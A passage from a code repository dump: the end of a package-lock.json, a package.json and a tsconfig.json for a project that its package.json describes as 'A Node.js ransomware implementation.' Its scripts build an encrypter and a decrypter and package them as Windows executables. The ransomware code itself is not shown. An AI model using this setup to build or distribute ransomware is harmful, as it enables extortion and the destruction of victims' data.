"^3.1.1", 346 | "ignore": "^5.1.4", 347 | "merge2": "^1.3.0", 348 | "slash": "^3.0.0" 349 | } 350 | }, 351 | "graceful-fs": { 352 | "version": "4.2.3", 353 | "resolved": "https://registry.npmjs.org/graceful-fs/-/graceful-fs-4.2.3.tgz", 354 | "integrity": "sha512-a30VEBm4PEdx1dRB7MFK7BejejvCvBronbLjht+sHuGYj8PHs7M/5Z+rt5lw551vZ7yfTCj4Vuyy3mSJytDWRQ==" 355 | }, 356 | "har-schema": { 357 | "version": "2.0.0", 358 | "resolved": "https://registry.npmjs.org/har-schema/-/har-schema-2.0.0.tgz", 359 | "integrity": "sha1-qUwiJOvKwEeCoNkDVSHyRzW37JI=" 360 | }, 361 | "har-validator": { 362 | "version": "5.1.3", 363 | "resolved": "https://registry.npmjs.org/har-validator/-/har-validator-5.1.3.tgz", 364 | "integrity": "sha512-sNvOCzEQNr/qrvJgc3UG/kD4QtlHycrzwS+6mfTrrSq97BvaYcPZZI1ZSqGSPR73Cxn4LKTD4PttRwfU7jWq5g==", 365 | "requires": { 366 | "ajv": "^6.5.5", 367 | "har-schema": "^2.0.0" 368 | } 369 | }, 370 | "has-flag": { 371 | "version": "4.0.0", 372 | "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", 373 | "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" 374 | }, 375 | "http-signature": { 376 | "version": "1.2.0", 377 | "resolved": "https://registry.npmjs.org/http-signature/-/http-signature-1.2.0.tgz", 378 | "integrity": "sha1-muzZJRFHcvPZW2WmCruPfBj7rOE=", 379 | "requires": { 380 | "assert-plus": "^1.0.0", 381 | "jsprim": "^1.2.2", 382 | "sshpk": "^1.7.0" 383 | } 384 | }, 385 | "ignore": { 386 | "version": "5.1.4", 387 | "resolved": "https://registry.npmjs.org/ignore/-/ignore-5.1.4.tgz", 388 | "integrity": "sha512-MzbUSahkTW1u7JpKKjY7LCARd1fU5W2rLdxlM4kdkayuCwZImjkpluF9CM1aLewYJguPDqewLam18Y6AU69A8A==" 389 | }, 390 | "inherits": { 391 | "version": "2.0.4", 392 | "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.4.tgz", 393 | "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==" 394 | }, 395 | "into-stream": { 396 | "version": "5.1.1", 397 | "resolved": "https://registry.npmjs.org/into-stream/-/into-stream-5.1.1.tgz", 398 | "integrity": "sha512-krrAJ7McQxGGmvaYbB7Q1mcA+cRwg9Ij2RfWIeVesNBgVDZmzY/Fa4IpZUT3bmdRzMzdf/mzltCG2Dq99IZGBA==", 399 | "requires": { 400 | "from2": "^2.3.0", 401 | "p-is-promise": "^3.0.0" 402 | } 403 | }, 404 | "is-extglob": { 405 | "version": "2.1.1", 406 | "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz", 407 | "integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI=" 408 | }, 409 | "is-glob": { 410 | "version": "4.0.1", 411 | "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz", 412 | "integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==", 413 | "requires": { 414 | "is-extglob": "^2.1.1" 415 | } 416 | }, 417 | "is-number": { 418 | "version": "7.0.0", 419 | "resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz", 420 | "integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==" 421 | }, 422 | "is-typedarray": { 423 | "version": "1.0.0", 424 | "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", 425 | "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" 426 | }, 427 | "isarray": { 428 | "version": "1.0.0", 429 | "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", 430 | "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" 431 | }, 432 | "isstream": { 433 | "version": "0.1.2", 434 | "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", 435 | "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" 436 | }, 437 | "jsbn": { 438 | "version": "0.1.1", 439 | "resolved": "https://registry.npmjs.org/jsbn/-/jsbn-0.1.1.tgz", 440 | "integrity": "sha1-peZUwuWi3rXyAdls77yoDA7y9RM=" 441 | }, 442 | "json-schema": { 443 | "version": "0.2.3", 444 | "resolved": "https://registry.npmjs.org/json-schema/-/json-schema-0.2.3.tgz", 445 | "integrity": "sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=" 446 | }, 447 | "json-schema-traverse": { 448 | "version": "0.4.1", 449 | "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", 450 | "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==" 451 | }, 452 | "json-stringify-safe": { 453 | "version": "5.0.1", 454 | "resolved": "https://registry.npmjs.org/json-stringify-safe/-/json-stringify-safe-5.0.1.tgz", 455 | "integrity": "sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=" 456 | }, 457 | "jsonfile": { 458 | "version": "4.0.0", 459 | "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz", 460 | "integrity": "sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=", 461 | "requires": { 462 | "graceful-fs": "^4.1.6" 463 | } 464 | }, 465 | "jsprim": { 466 | "version": "1.4.1", 467 | "resolved": "https://registry.npmjs.org/jsprim/-/jsprim-1.4.1.tgz", 468 | "integrity": "sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=", 469 | "requires": { 470 | "assert-plus": "1.0.0", 471 | "extsprintf": "1.3.0", 472 | "json-schema": "0.2.3", 473 | "verror": "1.10.0" 474 | } 475 | }, 476 | "levn": { 477 | "version": "0.3.0", 478 | "resolved": "https://registry.npmjs.org/levn/-/levn-0.3.0.tgz", 479 | "integrity": "sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=", 480 | "requires": { 481 | "prelude-ls": "~1.1.2", 482 | "type-check": "~0.3.2" 483 | } 484 | }, 485 | "merge2": { 486 | "version": "1.3.0", 487 | "resolved": "https://registry.npmjs.org/merge2/-/merge2-1.3.0.tgz", 488 | "integrity": "sha512-2j4DAdlBOkiSZIsaXk4mTE3sRS02yBHAtfy127xRV3bQUFqXkjHCHLW6Scv7DwNRbIWNHH8zpnz9zMaKXIdvYw==" 489 | }, 490 | "micromatch": { 491 | "version": "4.0.2", 492 | "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-4.0.2.tgz", 493 | "integrity": "sha512-y7FpHSbMUMoyPbYUSzO6PaZ6FyRnQOpHuKwbo1G+Knck95XVU4QAiKdGEnj5wwoS7PlOgthX/09u5iFJ+aYf5Q==", 494 | "requires": { 495 | "braces": "^3.0.1", 496 | "picomatch": "^2.0.5" 497 | } 498 | }, 499 | "mime-db": { 500 | "version": "1.43.0", 501 | "resolved": "https://registry.npmjs.org/mime-db/-/mime-db-1.43.0.tgz", 502 | "integrity": "sha512-+5dsGEEovYbT8UY9yD7eE4XTc4UwJ1jBYlgaQQF38ENsKR3wj/8q8RFZrF9WIZpB2V1ArTVFUva8sAul1NzRzQ==" 503 | }, 504 | "mime-types": { 505 | "version": "2.1.26", 506 | "resolved": "https://registry.npmjs.org/mime-types/-/mime-types-2.1.26.tgz", 507 | "integrity": "sha512-01paPWYgLrkqAyrlDorC1uDwl2p3qZT7yl806vW7DvDoxwXi46jsjFbg+WdwotBIk6/MbEhO/dh5aZ5sNj/dWQ==", 508 | "requires": { 509 | "mime-db": "1.43.0" 510 | } 511 | }, 512 | "minimist": { 513 | "version": "1.2.5", 514 | "resolved": "https://registry.npmjs.org/minimist/-/minimist-1.2.5.tgz", 515 | "integrity": "sha512-FM9nNUYrRBAELZQT3xeZQ7fmMOBg6nWNmJKTcgsJeaLstP/UODVpGsr5OhXhhXg6f+qtJ8uiZ+PUxkDWcgIXLw==" 516 | }, 517 | "mkdirp": { 518 | "version": "0.5.5", 519 | "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-0.5.5.tgz", 520 | "integrity": "sha512-NKmAlESf6jMGym1++R0Ra7wvhV+wFW63FaSOFPwRahvea0gMUcGUhVeAg/0BC0wiv9ih5NYPB1Wn1UEI1/L+xQ==", 521 | "requires": { 522 | "minimist": "^1.2.5" 523 | } 524 | }, 525 | "multistream": { 526 | "version": "2.1.1", 527 | "resolved": "https://registry.npmjs.org/multistream/-/multistream-2.1.1.tgz", 528 | "integrity": "sha512-xasv76hl6nr1dEy3lPvy7Ej7K/Lx3O/FCvwge8PeVJpciPPoNCbaANcNiBug3IpdvTveZUcAV0DJzdnUDMesNQ==", 529 | "requires": { 530 | "inherits": "^2.0.1", 531 | "readable-stream": "^2.0.5" 532 | } 533 | }, 534 | "oauth-sign": { 535 | "version": "0.9.0", 536 | "resolved": "https://registry.npmjs.org/oauth-sign/-/oauth-sign-0.9.0.tgz", 537 | "integrity": "sha512-fexhUFFPTGV8ybAtSIGbV6gOkSv8UtRbDBnAyLQw4QPKkgNlsH2ByPGtMUqdWkos6YCRmAqViwgZrJc/mRDzZQ==" 538 | }, 539 | "optionator": { 540 | "version": "0.8.3", 541 | "resolved": "https://registry.npmjs.org/optionator/-/optionator-0.8.3.tgz", 542 | "integrity": "sha512-+IW9pACdk3XWmmTXG8m3upGUJst5XRGzxMRjXzAuJ1XnIFNvfhjjIuYkDvysnPQ7qzqVzLt78BCruntqRhWQbA==", 543 | "requires": { 544 | "deep-is": "~0.1.3", 545 | "fast-levenshtein": "~2.0.6", 546 | "levn": "~0.3.0", 547 | "prelude-ls": "~1.1.2", 548 | "type-check": "~0.3.2", 549 | "word-wrap": "~1.2.3" 550 | } 551 | }, 552 | "os-tmpdir": { 553 | "version": "1.0.2", 554 | "resolved": "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz", 555 | "integrity": "sha1-u+Z0BseaqFxc/sdm/lc0VV36EnQ=" 556 | }, 557 | "p-is-promise": { 558 | "version": "3.0.0", 559 | "resolved": "https://registry.npmjs.org/p-is-promise/-/p-is-promise-3.0.0.tgz", 560 | "integrity": "sha512-Wo8VsW4IRQSKVXsJCn7TomUaVtyfjVDn3nUP7kE967BQk0CwFpdbZs0X0uk5sW9mkBa9eNM7hCMaG93WUAwxYQ==" 561 | }, 562 | "path-parse": { 563 | "version": "1.0.6", 564 | "resolved": "https://registry.npmjs.org/path-parse/-/path-parse-1.0.6.tgz", 565 | "integrity": "sha512-GSmOT2EbHrINBf9SR7CDELwlJ8AENk3Qn7OikK4nFYAu3Ote2+JYNVvkpAEQm3/TLNEJFD/xZJjzyxg3KBWOzw==" 566 | }, 567 | "path-type": { 568 | "version": "4.0.0", 569 | "resolved": "https://registry.npmjs.org/path-type/-/path-type-4.0.0.tgz", 570 | "integrity": "sha512-gDKb8aZMDeD/tZWs9P6+q0J9Mwkdl6xMV8TjnGP3qJVJ06bdMgkbBlLU8IdfOsIsFz2BW1rNVT3XuNEl8zPAvw==" 571 | }, 572 | "performance-now": { 573 | "version": "2.1.0", 574 | "resolved": "https://registry.npmjs.org/performance-now/-/performance-now-2.1.0.tgz", 575 | "integrity": "sha1-Ywn04OX6kT7BxpMHrjZLSzd8nns=" 576 | }, 577 | "picomatch": { 578 | "version": "2.2.2", 579 | "resolved": "https://registry.npmjs.org/picomatch/-/picomatch-2.2.2.tgz", 580 | "integrity": "sha512-q0M/9eZHzmr0AulXyPwNfZjtwZ/RBZlbN3K3CErVrk50T2ASYI7Bye0EvekFY3IP1Nt2DHu0re+V2ZHIpMkuWg==" 581 | }, 582 | "pkg": { 583 | "version": "4.4.6", 584 | "resolved": "https://registry.npmjs.org/pkg/-/pkg-4.4.6.tgz", 585 | "integrity": "sha512-dZtS9w/pe/QBI0hDeXddZ0ENxjySEC9GzI1CuDnPjUid6VpTdiYdn40itOgHqvApVWHN6fuRqlnwpKFTCzi3fQ==", 586 | "requires": { 587 | "@babel/parser": "^7.9.4", 588 | "@babel/runtime": "^7.9.2", 589 | "chalk": "^3.0.0", 590 | "escodegen": "^1.14.1", 591 | "fs-extra": "^8.1.0", 592 | "globby": "^11.0.0", 593 | "into-stream": "^5.1.1", 594 | "minimist": "^1.2.5", 595 | "multistream": "^2.1.1", 596 | "pkg-fetch": "^2.6.6", 597 | "progress": "^2.0.3", 598 | "resolve": "^1.15.1", 599 | "stream-meter": "^1.0.4" 600 | } 601 | }, 602 | "pkg-fetch": { 603 | "version": "2.6.6", 604 | "resolved": "https://registry.npmjs.org/pkg-fetch/-/pkg-fetch-2.6.6.tgz", 605 | "integrity": "sha512-PdL6lpoSryzP6rMZD1voZQX0LHx6q4pOaD1djaFphmBfYPoQzLalF2+St+wdYxbZ37xRNHACTeQIKNEKA0xdbA==", 606 | "requires": { 607 | "@babel/runtime": "^7.9.2", 608 | "byline": "^5.0.0", 609 | "chalk": "^3.0.0", 610 | "expand-template": "^2.0.3", 611 | "fs-extra": "^8.1.0", 612 | "minimist": "^1.2.5", 613 | "progress": "^2.0.3", 614 | "request": "^2.88.0", 615 | "request-progress": "^3.0.0", 616 | "semver": "^6.3.0", 617 | "unique-temp-dir": "^1.0.0" 618 | } 619 | }, 620 | "prelude-ls": { 621 | "version": "1.1.2", 622 | "resolved": "https://registry.npmjs.org/prelude-ls/-/prelude-ls-1.1.2.tgz", 623 | "integrity": "sha1-IZMqVJ9eUv/ZqCf1cOBL5iqX2lQ=" 624 | }, 625 | "process-nextick-args": { 626 | "version": "2.0.1", 627 | "resolved": "https://registry.npmjs.org/process-nextick-args/-/process-nextick-args-2.0.1.tgz", 628 | "integrity": "sha512-3ouUOpQhtgrbOa17J7+uxOTpITYWaGP7/AhoR3+A+/1e9skrzelGi/dXzEYyvbxubEF6Wn2ypscTKiKJFFn1ag==" 629 | }, 630 | "progress": { 631 | "version": "2.0.3", 632 | "resolved": "https://registry.npmjs.org/progress/-/progress-2.0.3.tgz", 633 | "integrity": "sha512-7PiHtLll5LdnKIMw100I+8xJXR5gW2QwWYkT6iJva0bXitZKa/XMrSbdmg3r2Xnaidz9Qumd0VPaMrZlF9V9sA==" 634 | }, 635 | "psl": { 636 | "version": "1.8.0", 637 | "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", 638 | "integrity": "sha512-RIdOzyoavK+hA18OGGWDqUTsCLhtA7IcZ/6NCs4fFJaHBDab+pDDmDIByWFRQJq2Cd7r1OoQxBGKOaztq+hjIQ==" 639 | }, 640 | "punycode": { 641 | "version": "2.1.1", 642 | "resolved": "https://registry.npmjs.org/punycode/-/punycode-2.1.1.tgz", 643 | "integrity": "sha512-XRsRjdf+j5ml+y/6GKHPZbrF/8p2Yga0JPtdqTIY2Xe5ohJPD9saDJJLPvp9+NSBprVvevdXZybnj2cv8OEd0A==" 644 | }, 645 | "qs": { 646 | "version": "6.5.2", 647 | "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.2.tgz", 648 | "integrity": "sha512-N5ZAX4/LxJmF+7wN74pUD6qAh9/wnvdQcjq9TZjevvXzSUo7bfmw91saqMjzGS2xq91/odN2dW/WOl7qQHNDGA==" 649 | }, 650 | "readable-stream": { 651 | "version": "2.3.7", 652 | "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", 653 | "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", 654 | "requires": { 655 | "core-util-is": "~1.0.0", 656 | "inherits": "~2.0.3", 657 | "isarray": "~1.0.0", 658 | "process-nextick-args": "~2.0.0", 659 | "safe-buffer": "~5.1.1", 660 | "string_decoder": "~1.1.1", 661 | "util-deprecate": "~1.0.1" 662 | } 663 | }, 664 | "regenerator-runtime": { 665 | "version": "0.13.5", 666 | "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", 667 | "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" 668 | }, 669 | "request": { 670 | "version": "2.88.2", 671 | "resolved": "https://registry.npmjs.org/request/-/request-2.88.2.tgz", 672 | "integrity": "sha512-MsvtOrfG9ZcrOwAW+Qi+F6HbD0CWXEh9ou77uOb7FM2WPhwT7smM833PzanhJLsgXjN89Ir6V2PczXNnMpwKhw==", 673 | "requires": { 674 | "aws-sign2": "~0.7.0", 675 | "aws4": "^1.8.0", 676 | "caseless": "~0.12.0", 677 | "combined-stream": "~1.0.6", 678 | "extend": "~3.0.2", 679 | "forever-agent": "~0.6.1", 680 | "form-data": "~2.3.2", 681 | "har-validator": "~5.1.3", 682 | "http-signature": "~1.2.0", 683 | "is-typedarray": "~1.0.0", 684 | "isstream": "~0.1.2", 685 | "json-stringify-safe": "~5.0.1", 686 | "mime-types": "~2.1.19", 687 | "oauth-sign": "~0.9.0", 688 | "performance-now": "^2.1.0", 689 | "qs": "~6.5.2", 690 | "safe-buffer": "^5.1.2", 691 | "tough-cookie": "~2.5.0", 692 | "tunnel-agent": "^0.6.0", 693 | "uuid": "^3.3.2" 694 | } 695 | }, 696 | "request-progress": { 697 | "version": "3.0.0", 698 | "resolved": "https://registry.npmjs.org/request-progress/-/request-progress-3.0.0.tgz", 699 | "integrity": "sha1-TKdUCBx/7GP1BeT6qCWqBs1mnb4=", 700 | "requires": { 701 | "throttleit": "^1.0.0" 702 | } 703 | }, 704 | "resolve": { 705 | "version": "1.15.1", 706 | "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.15.1.tgz", 707 | "integrity": "sha512-84oo6ZTtoTUpjgNEr5SJyzQhzL72gaRodsSfyxC/AXRvwu0Yse9H8eF9IpGo7b8YetZhlI6v7ZQ6bKBFV/6S7w==", 708 | "requires": { 709 | "path-parse": "^1.0.6" 710 | } 711 | }, 712 | "reusify": { 713 | "version": "1.0.4", 714 | "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", 715 | "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==" 716 | }, 717 | "run-parallel": { 718 | "version": "1.1.9", 719 | "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.1.9.tgz", 720 | "integrity": "sha512-DEqnSRTDw/Tc3FXf49zedI638Z9onwUotBMiUFKmrO2sdFKIbXamXGQ3Axd4qgphxKB4kw/qP1w5kTxnfU1B9Q==" 721 | }, 722 | "safe-buffer": { 723 | "version": "5.1.2", 724 | "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", 725 | "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" 726 | }, 727 | "safer-buffer": { 728 | "version": "2.1.2", 729 | "resolved": "https://registry.npmjs.org/safer-buffer/-/safer-buffer-2.1.2.tgz", 730 | "integrity": "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg==" 731 | }, 732 | "semver": { 733 | "version": "6.3.0", 734 | "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", 735 | "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==" 736 | }, 737 | "slash": { 738 | "version": "3.0.0", 739 | "resolved": "https://registry.npmjs.org/slash/-/slash-3.0.0.tgz", 740 | "integrity": "sha512-g9Q1haeby36OSStwb4ntCGGGaKsaVSjQ68fBxoQcutl5fS1vuY18H3wSt3jFyFtrkx+Kz0V1G85A4MyAdDMi2Q==" 741 | }, 742 | "source-map": { 743 | "version": "0.6.1", 744 | "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz", 745 | "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==", 746 | "optional": true 747 | }, 748 | "sshpk": { 749 | "version": "1.16.1", 750 | "resolved": "https://registry.npmjs.org/sshpk/-/sshpk-1.16.1.tgz", 751 | "integrity": "sha512-HXXqVUq7+pcKeLqqZj6mHFUMvXtOJt1uoUx09pFW6011inTMxqI8BA8PM95myrIyyKwdnzjdFjLiE6KBPVtJIg==", 752 | "requires": { 753 | "asn1": "~0.2.3", 754 | "assert-plus": "^1.0.0", 755 | "bcrypt-pbkdf": "^1.0.0", 756 | "dashdash": "^1.12.0", 757 | "ecc-jsbn": "~0.1.1", 758 | "getpass": "^0.1.1", 759 | "jsbn": "~0.1.0", 760 | "safer-buffer": "^2.0.2", 761 | "tweetnacl": "~0.14.0" 762 | } 763 | }, 764 | "stream-meter": { 765 | "version": "1.0.4", 766 | "resolved": "https://registry.npmjs.org/stream-meter/-/stream-meter-1.0.4.tgz", 767 | "integrity": "sha1-Uq+Vql6nYKJJFxZwTb/5D3Ov3R0=", 768 | "requires": { 769 | "readable-stream": "^2.1.4" 770 | } 771 | }, 772 | "string_decoder": { 773 | "version": "1.1.1", 774 | "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.1.1.tgz", 775 | "integrity": "sha512-n/ShnvDi6FHbbVfviro+WojiFzv+s8MPMHBczVePfUpDJLwoLT0ht1l4YwBCbi8pJAveEEdnkHyPyTP/mzRfwg==", 776 | "requires": { 777 | "safe-buffer": "~5.1.0" 778 | } 779 | }, 780 | "supports-color": { 781 | "version": "7.1.0", 782 | "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.1.0.tgz", 783 | "integrity": "sha512-oRSIpR8pxT1Wr2FquTNnGet79b3BWljqOuoW/h4oBhxJ/HUbX5nX6JSruTkvXDCFMwDPvsaTTbvMLKZWSy0R5g==", 784 | "requires": { 785 | "has-flag": "^4.0.0" 786 | } 787 | }, 788 | "throttleit": { 789 | "version": "1.0.0", 790 | "resolved": "https://registry.npmjs.org/throttleit/-/throttleit-1.0.0.tgz", 791 | "integrity": "sha1-nnhYNtr0Z0MUWlmEtiaNgoUorGw=" 792 | }, 793 | "to-regex-range": { 794 | "version": "5.0.1", 795 | "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", 796 | "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", 797 | "requires": { 798 | "is-number": "^7.0.0" 799 | } 800 | }, 801 | "tough-cookie": { 802 | "version": "2.5.0", 803 | "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-2.5.0.tgz", 804 | "integrity": "sha512-nlLsUzgm1kfLXSXfRZMc1KLAugd4hqJHDTvc2hDIwS3mZAfMEuMbc03SujMF+GEcpaX/qboeycw6iO8JwVv2+g==", 805 | "requires": { 806 | "psl": "^1.1.28", 807 | "punycode": "^2.1.1" 808 | } 809 | }, 810 | "tunnel-agent": { 811 | "version": "0.6.0", 812 | "resolved": "https://registry.npmjs.org/tunnel-agent/-/tunnel-agent-0.6.0.tgz", 813 | "integrity": "sha1-J6XeoGs2sEoKmWZ3SykIaPD8QP0=", 814 | "requires": { 815 | "safe-buffer": "^5.0.1" 816 | } 817 | }, 818 | "tweetnacl": { 819 | "version": "0.14.5", 820 | "resolved": "https://registry.npmjs.org/tweetnacl/-/tweetnacl-0.14.5.tgz", 821 | "integrity": "sha1-WuaBd/GS1EViadEIr6k/+HQ/T2Q=" 822 | }, 823 | "type-check": { 824 | "version": "0.3.2", 825 | "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.3.2.tgz", 826 | "integrity": "sha1-WITKtRLPHTVeP7eE8wgEsrUg23I=", 827 | "requires": { 828 | "prelude-ls": "~1.1.2" 829 | } 830 | }, 831 | "typescript": { 832 | "version": "3.8.3", 833 | "resolved": "https://registry.npmjs.org/typescript/-/typescript-3.8.3.tgz", 834 | "integrity": "sha512-MYlEfn5VrLNsgudQTVJeNaQFUAI7DkhnOjdpAp4T+ku1TfQClewlbSuTVHiA+8skNBgaf02TL/kLOvig4y3G8w==", 835 | "dev": true 836 | }, 837 | "uid2": { 838 | "version": "0.0.3", 839 | "resolved": "https://registry.npmjs.org/uid2/-/uid2-0.0.3.tgz", 840 | "integrity": "sha1-SDEm4Rd03y9xuLY53NeZw3YWK4I=" 841 | }, 842 | "unique-temp-dir": { 843 | "version": "1.0.0", 844 | "resolved": "https://registry.npmjs.org/unique-temp-dir/-/unique-temp-dir-1.0.0.tgz", 845 | "integrity": "sha1-bc6VsmgcoAPuv7MEpBX5y6vMU4U=", 846 | "requires": { 847 | "mkdirp": "^0.5.1", 848 | "os-tmpdir": "^1.0.1", 849 | "uid2": "0.0.3" 850 | } 851 | }, 852 | "universalify": { 853 | "version": "0.1.2", 854 | "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.1.2.tgz", 855 | "integrity": "sha512-rBJeI5CXAlmy1pV+617WB9J63U6XcazHHF2f2dbJix4XzpUF0RS3Zbj0FGIOCAva5P/d/GBOYaACQ1w+0azUkg==" 856 | }, 857 | "uri-js": { 858 | "version": "4.2.2", 859 | "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.2.2.tgz", 860 | "integrity": "sha512-KY9Frmirql91X2Qgjry0Wd4Y+YTdrdZheS8TFwvkbLWf/G5KNJDCh6pKL5OZctEW4+0Baa5idK2ZQuELRwPznQ==", 861 | "requires": { 862 | "punycode": "^2.1.0" 863 | } 864 | }, 865 | "util-deprecate": { 866 | "version": "1.0.2", 867 | "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", 868 | "integrity": "sha1-RQ1Nyfpw3nMnYvvS1KKJgUGaDM8=" 869 | }, 870 | "uuid": { 871 | "version": "3.4.0", 872 | "resolved": "https://registry.npmjs.org/uuid/-/uuid-3.4.0.tgz", 873 | "integrity": "sha512-HjSDRw6gZE5JMggctHBcjVak08+KEVhSIiDzFnT9S9aegmp85S/bReBVTb4QTFaRNptJ9kuYaNhnbNEOkbKb/A==" 874 | }, 875 | "verror": { 876 | "version": "1.10.0", 877 | "resolved": "https://registry.npmjs.org/verror/-/verror-1.10.0.tgz", 878 | "integrity": "sha1-OhBcoXBTr1XW4nDB+CiGguGNpAA=", 879 | "requires": { 880 | "assert-plus": "^1.0.0", 881 | "core-util-is": "1.0.2", 882 | "extsprintf": "^1.2.0" 883 | } 884 | }, 885 | "word-wrap": { 886 | "version": "1.2.3", 887 | "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.3.tgz", 888 | "integrity": "sha512-Hz/mrNwitNRh/HUAtM/VT/5VH+ygD6DV7mYKZAtHOrbs8U7lvPS6xf7EJKMF0uW1KJCl0H701g3ZGus+muE5vQ==" 889 | } 890 | } 891 | } 892 | -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "node-encrypter", 3 | "version": "1.0.0", 4 | "description": "A Node.js ransomware implementation.", 5 | "main": "build/encrypter.js", 6 | "scripts": { 7 | "build": "tsc", 8 | "encrypt": "node build/encrypter.js", 9 | "decrypt": "node build/decrypter.js", 10 | "encrypt-exe": "pkg build/encrypter.js -t node12-win-x64 --output build/encrypter.exe", 11 | "decrypt-exe": "pkg build/decrypter.js -t node12-win-x64 --output build/decrypter.exe" 12 | }, 13 | "author": "rulyox", 14 | "license": "MIT", 15 | "dependencies": { 16 | "@types/node": "^13.11.1", 17 | "pkg": "^4.4.6" 18 | }, 19 | "devDependencies": { 20 | "typescript": "^3.8.3" 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "compilerOptions": { 3 | "module": "commonjs", 4 | "target": "es5", 5 | "sourceMap": true, 6 | "strict": true, 7 | "resolveJsonModule": true, 8 | "esModuleInterop": true, 9 | "outDir": "build" 10 | }, 11 | "exclude": [ 12 | "node_modules" 13 | ] 14 | } 15 | --------------------------------------------------------------------------------